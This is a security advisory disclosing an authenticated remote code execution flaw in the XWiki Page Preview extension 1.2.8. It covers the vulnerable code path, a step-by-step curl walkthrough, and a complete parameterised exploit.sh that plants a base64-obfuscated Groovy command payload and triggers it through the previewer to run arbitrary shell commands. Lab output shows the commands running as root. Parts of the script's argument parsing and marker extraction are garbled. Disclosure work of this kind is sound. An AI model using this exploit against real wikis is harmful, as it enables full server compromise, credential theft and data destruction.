Page Preview Application renders attacker-controlled pages with privileged author rights Summary The official Page Preview Application renders the content of an attacker-selected page from inside the administrator-authored XWiki.PagePreviewer Groovy script. A registered user who can edit any page can store a script macro that is correctly rejected when the page is viewed directly, then request a preview of that page. The nested getRenderedContent() call inherits the privileged Page Previewer execution context and executes the attacker's macro. This allows a user without SCRIPT, PROGRAM, or ADMIN rights to execute arbitrary JVM code and operating-system commands as the account running XWiki. No administrator or victim interaction is required after the extension has been installed. Affected products
- Ecosystem: Maven / XWiki Extension Manager
- Package: org.xwiki.contrib:application-page-preview-ui
- Confirmed affected version: 1.2.8
- Affected versions: At least 1.2.8;
- Patched versions: None known at the time of testing
Preconditions
- XWiki 18.6.0.
- Official org.xwiki.contrib:application-page-preview-ui version 1.2.8 installed through Extension Manager.
- A registered user cve with EDIT but without SCRIPT, PROGRAM, or ADMIN rights.
The PoC authenticates through the normal XWiki login form and uses only the resulting low-user session. Technical details The vulnerable data flow in release 1.2.12 is in XWiki/PagePreviewer.xml:
def path = request.path
if ((path != null)&&(path!="")&&(path!="undefined")) {
def reference = convertPathToDocumentReference(path)
if (reference != doc.documentReference) {
def page = xwiki.getDocument(reference)
def pageContent = page.getValue("definition");
if (pageContent==null||pageContent=="")
pageContent = page.content
content = page.getRenderedContent(pageContent, page.syntaxId, "html/5.0")
}
}
The source checkout contains the same flow at pages/src/main/resources/XWiki/PagePreviewer.xml:81-94. The official 1.2.8 XAR downloaded from the XWiki Maven repository was independently inspected and contains the same lines. Path is controlled by the HTTP client. It is converted to a document reference and used to select both the page and the content passed to getRenderedContent(). XWiki.PagePreviewer is installed with a privileged author because its outer code is a Groovy macro and the extension documentation explicitly requires programming rights. The nested render does not restore the selected document's low-privileged author context before executing its script macros. Consequently, the authorization decision for script execution is made using the privileged Page Previewer context, not the author of the attacker-controlled content. Manual proof of concept Manual terminal reproduction 1. Log in and verify the attacker context
BASE='http://127.0.0.1:8888'
USER_NAME='cve'
USER_PASSWORD='cve1234'
WORK=$(mktemp -d /tmp/page-preview-manual.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="PagePreviewIdProof$(date +%s%N)"
curl -sS -c "$COOKIE" -b "$COOKIE" \
"$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
"$WORK/login.html" | head -n1)
curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
"$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
--data-urlencode "j_username=$USER_NAME" \
--data-urlencode "j_password=$USER_PASSWORD" \
--data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1
curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
"$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"
Expected output:
data-xwiki-user-reference="xwiki:XWiki.cve"
Global administration HTTP: 403
2. Create an attacker-authored page containing the id payload
COMMAND_B64=$(printf '%s' '/usr/bin/id' | base64 -w0)
CONTENT="{{groovy}}def command=new String(java.util.Base64.getDecoder().decode(\"$COMMAND_B64\"),\"UTF-8\");def process=new ProcessBuilder(\"/bin/sh\",\"-c\",command).redirectErrorStream(true).start();process.waitFor();println(\"PAGEPREVIEW-RCE-B64-\"+java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes)){{/groovy}}"
PAGE_XML="<page xmlns=\"http://www.xwiki.org\"><title>Page Preview id proof</title><syntax>xwiki/2.1</syntax><content>${CONTENT}</content></page>"
curl -sS -b "$COOKIE" -X PUT \
-H 'Content-Type: application/xml' \
--data-binary "$PAGE_XML" \
"$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
-o "$WORK/page.xml" -w 'Page creation HTTP: %{http_code}\n'
Expected result: HTTP 201 on first creation (or 202 when updating). 3. Negative control: direct rendering is denied
curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$PAGE?xpage=plain" \
-o "$WORK/control.html"
grep -o 'script macro is not allowed[^<]*' "$WORK/control.html" | head -n1
! grep -q 'PAGEPREVIEW-RCE-B64-' "$WORK/control.html"
Expected result: XWiki reports that the Groovy script macro is not allowed and the command marker is absent. 4. Trigger the official Page Preview endpoint and decode stdout
curl -fsS -b "$COOKIE" --get \
"$BASE/bin/get/XWiki/PagePreviewer" \
--data-urlencode "path=/bin/view/Sandbox/$PAGE" \
--data-urlencode 'xpage=plain' \
--data-urlencode 'outputSyntax=plain' -o "$WORK/result.json"
MARKER=$(grep -o 'PAGEPREVIEW-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.json" | head -n1)
OUTPUT_B64=${MARKER
echo '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo
echo '----- end command output -----'
echo "Negative-control page (direct Groovy execution must be blocked): $BASE/bin/view/Sandbox/$PAGE"
echo "Vulnerable Page Preview trigger: $BASE/bin/get/XWiki/PagePreviewer?path=%2Fbin%2Fview%2FSandbox%2F$PAGE&xpage=plain&outputSyntax=plain"
echo "Evidence directory: $WORK"
Confirmed output in the local lab:
----- command output -----
uid=0(root) gid=0(root) groups=0(root)
----- end command output -----
The exact script blocked in step 3 executes when rendered through XWiki.PagePreviewer. 5. Verify author separation
curl -fsS -b "$COOKIE" -H 'Accept: application/xml' \
"$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
| grep -oE '<(author|creator)>[^<]+'
curl -fsS -b "$COOKIE" -H 'Accept: application/xml' \
"$BASE/rest/wikis/xwiki/spaces/XWiki/pages/PagePreviewer" \
| grep -oE '<(author|creator)>[^<]+'
Observed authors in the lab:
<author>XWiki.cve
<creator>XWiki.cve
<author>XWiki.test
<creator>XWiki.test
Automated proof of concept Save the following complete script as exploit.sh. It accepts the target, credentials, and command through -url, -u, -p, and -c.
set -euo pipefail
usage()
{
cat <<'EOF'
Usage:
./exploit.sh -url <base_url> -u <username> -p <password> -c <command>
Example:
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
EOF
}
BASE=''; USER_NAME=''; USER_PASSWORD=''; COMMAND=''
while [[ $ case "$1" in
-url|--url) [[ $ -u|--username) [[ $ -p|--password) [[ $ -c|--command) [[ $ -h|--help) usage; exit 0 ;;
*) echo "Unknown argument: $1" >&2; usage >&2; exit 2 ;;
esac
done
[[ -n "$BASE" && -n "$USER_NAME" && -n "$USER_PASSWORD" && -n "$COMMAND" ]] || { usage >&2; exit 2; }
BASE=${BASE%/}
WORK=$(mktemp -d /tmp/page-preview-rce.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="PagePreviewCommandProof$(date +%s%N)"
COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)
echo '[1/5] Logging in as the low-privileged user'
curl -sS -c "$COOKIE" -b "$COOKIE" "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' "$WORK/login.html" | head -n1)
[[ -n "$LOGIN_TOKEN" ]]
curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
--data-urlencode "j_username=$USER_NAME" --data-urlencode "j_password=$USER_PASSWORD" \
--data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
echo "Authenticated identity: XWiki.$USER_NAME"
echo '[2/5] Verifying lack of global administration access'
ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
"$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
echo "Global administration HTTP: $ADMIN_CODE"
[[ "$ADMIN_CODE" == 403 ]]
echo '[3/5] Creating an attacker-authored page containing the command payload'
CONTENT="{{groovy}}def command=new String(java.util.Base64.getDecoder().decode(\"$COMMAND_B64\"),\"UTF-8\");def process=new ProcessBuilder(\"/bin/sh\",\"-c\",command).redirectErrorStream(true).start();process.waitFor();println(\"PAGEPREVIEW-RCE-B64-\"+java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes)){{/groovy}}"
PAGE_XML="<page xmlns=\"http://www.xwiki.org\"><title>Page Preview command proof</title><syntax>xwiki/2.1</syntax><content>${CONTENT}</content></page>"
PAGE_CODE=$(curl -sS -b "$COOKIE" -X PUT -H 'Content-Type: application/xml' \
--data-binary "$PAGE_XML" "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
-o "$WORK/page.xml" -w '%{http_code}')
echo "Page creation HTTP: $PAGE_CODE"
[[ "$PAGE_CODE" == 201 || "$PAGE_CODE" == 202 ]]
echo '[4/5] Negative control: direct rendering blocks Groovy'
curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$PAGE?xpage=plain" -o "$WORK/control.html"
grep -q 'script macro is not allowed' "$WORK/control.html"
! grep -q 'PAGEPREVIEW-RCE-B64-' "$WORK/control.html"
echo 'Direct page rendering: blocked'
echo '[5/5] Triggering XWiki.PagePreviewer'
curl -fsS -b "$COOKIE" --get "$BASE/bin/get/XWiki/PagePreviewer" \
--data-urlencode "path=/bin/view/Sandbox/$PAGE" \
--data-urlencode 'xpage=plain' \
--data-urlencode 'outputSyntax=plain' -o "$WORK/result.json"
MARKER=$(grep -o 'PAGEPREVIEW-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.json" | head -n1)
[[ -n "$MARKER" ]]
OUTPUT_B64=${MARKERecho '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo
echo '----- end command output -----'
echo "Negative-control page (direct Groovy execution must be blocked): $BASE/bin/view/Sandbox/$PAGE"
echo "Vulnerable Page Preview trigger: $BASE/bin/get/XWiki/PagePreviewer?path=%2Fbin%2Fview%2FSandbox%2F$PAGE&xpage=plain&outputSyntax=plain"
echo "Evidence directory: $WORK"
Run it as follows:
chmod +x exploit.sh
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
   Impact This is an authenticated remote code execution and privilege-escalation vulnerability. Any registered user with EDIT rights on one page can execute arbitrary code with the privileges of the XWiki JVM. Depending on the deployment, this allows reading XWiki configuration and database credentials, modifying or deleting wiki data, accessing files available to the service account, and pivoting to other services reachable from the server. On an open wiki where Guest has EDIT rights, the same primitive may become unauthenticated RCE. Severity CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (Critical) Weaknesses CWE: CWE-863 (Incorrect Authorization), CWE-94 (Improper Control of Generation of Code) Suggested remediation Do not render attacker-selected content while the Page Previewer author is active. Execute rendering under the selected document's effective metadata author and source reference, and reject the preview if the caller lacks VIEW rights. Prefer a restricted rendering mode that disables script macros for previews. Add a regression test where an EDIT-only user's page contains a Groovy macro: direct rendering and Page Preview rendering must both reject it. |